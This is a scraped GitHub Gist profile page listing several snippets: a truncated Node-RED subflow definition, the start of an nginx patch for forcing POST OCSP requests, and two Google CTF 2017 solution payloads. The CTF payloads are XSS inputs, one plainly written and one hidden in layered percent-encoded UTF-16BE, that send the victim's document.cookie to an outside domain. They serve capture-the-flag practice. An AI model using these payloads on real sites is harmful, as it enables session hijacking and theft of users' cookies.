Skip to content

Instantly share code, notes, and snippets.

View buglloc's full-sized avatar

Andrew Krasichkov buglloc

View GitHub Profile
[
{
"id": "c54c0f35b8c1f9e4",
"type": "subflow",
"name": "no-op",
"info": "",
"category": "",
"in": [
{
"x": 80,
@buglloc
buglloc / input.html
Last active May 21, 2018 10:24
Geokitties v2 (#GoogleCTF 2017)
<a onclicK="" onclick="window.location.href = 'https://www.buglloc.com/lala?' + document.cookie;return false;" href="https://ya.ru">asd</a>
@buglloc
buglloc / input.html
Created June 19, 2017 09:11
The X Sanitizer (#GoogleCTF 2017)
<link rel="import" href="/sandbox?html=<script charset=UTF%2d16BE src=/sandbox%3fhtml=%2500%253D%2500%2528%2500%2577%2500%2569%2500%256E%2500%2564%2500%256F%2500%2577%2500%252E%2500%256C%2500%256F%2500%2563%2500%2561%2500%2574%2500%2569%2500%256F%2500%256E%2500%252E%2500%2568%2500%2572%2500%2565%2500%2566%2500%253D%2500%2522%2500%2568%2500%2574%2500%2574%2500%2570%2500%2573%2500%253A%2500%252F%2500%252F%2500%2577%2500%2577%2500%2577%2500%252E%2500%2562%2500%2575%2500%2567%2500%256C%2500%256C%2500%256F%2500%2563%2500%252E%2500%2563%2500%256F%2500%256D%2500%252F%2500%2561%2500%253F%2500%2522%2500%2520%2500%252B%2500%2520%2500%2564%2500%256F%2500%2563%2500%2575%2500%256D%2500%2565%2500%256E%2500%2574%2500%252E%2500%2563%2500%256F%2500%256F%2500%256B%2500%2569%2500%2565%2500%2529></script>'>">
<link rel="import" href="/sandbox?html=<script charset=UTF%2d16BE src=/sandbox%3fhtml=%2500%253D%2500%2528%2500%2577%2500%2569%2500%256E%2500%2564%2500%256F%2500%2577%2500%252E%2500%256C%2500%256F%2500%2563%2500%2561%2500%2
@buglloc
buglloc / post-ocsp-nginx.patch
Created March 28, 2015 08:52
Патч для nginx 1.6.2 добавляющий директиву ssl_stapling_force_post, что бы заставить nginx использовать POST запрос к OCSP Responder'у.
Allow force POST OCSP Request
diff -r 16a73c3a8fcd -r d66ba95eb8a9 src/event/ngx_event_openssl.h
--- a/src/event/ngx_event_openssl.h Fri Mar 27 23:34:51 2015 +0200
+++ b/src/event/ngx_event_openssl.h Fri Mar 27 23:35:54 2015 +0200
@@ -119,7 +119,7 @@
ngx_str_t *cert, ngx_int_t depth);
ngx_int_t ngx_ssl_crl(ngx_conf_t *cf, ngx_ssl_t *ssl, ngx_str_t *crl);
ngx_int_t ngx_ssl_stapling(ngx_conf_t *cf, ngx_ssl_t *ssl,
- ngx_str_t *file, ngx_str_t *responder, ngx_uint_t verify);